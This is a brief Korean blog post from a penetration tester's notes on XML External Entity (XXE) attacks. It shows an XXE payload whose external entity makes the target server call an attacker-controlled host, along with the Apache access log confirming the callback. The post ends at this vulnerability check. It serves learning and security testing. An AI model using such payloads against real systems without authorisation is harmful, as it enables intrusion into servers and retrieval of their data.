XXE(Xml eXternal Entity) Attack

2015. 2. 27. 01:21


시간내서 정리 해야지 해야지 하다가 최근 모의해킹에 사용할 일이 생겨서 정리해 둔다.


1) 공격 대상 및 소스





 간단하게 XML 로 입력을 받아서 파싱한 후 출력해주는 페이지이다. 실제로도 생각보다 현업에도 종종 있다. 


 물론 저렇게 직접 입력을 받는 것은 아니고 파라미터로 입력받은 문자들을 XML로 주고 받는 형식이 대부분이다.




1) 공격 가능성 확인






<?xml version="1.0"?>

  <!DOCTYPE root

  [

     <!ENTITY foo SYSTEM "http://192.168.0.8/ping">

  ]>

  <test><testing>&foo;</testing></test>



결과

root@kali:/var/log/apache2# tail -f access.log 

192.168.0.8 - - [26/Feb/2015:23:47:17 +0900] "GET /ping HTTP/1.0" 404 482 "-" "-"

192.168.230.2 - - [26/Feb/2015:23:47:17 +0900] "GET /xml2.php HTTP/1.1" 200 388 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36"


로그가 찍히는 것으로 보아 정상적으로 서버에 결과값이 전송됨을 알 수 있다.



+ Recent posts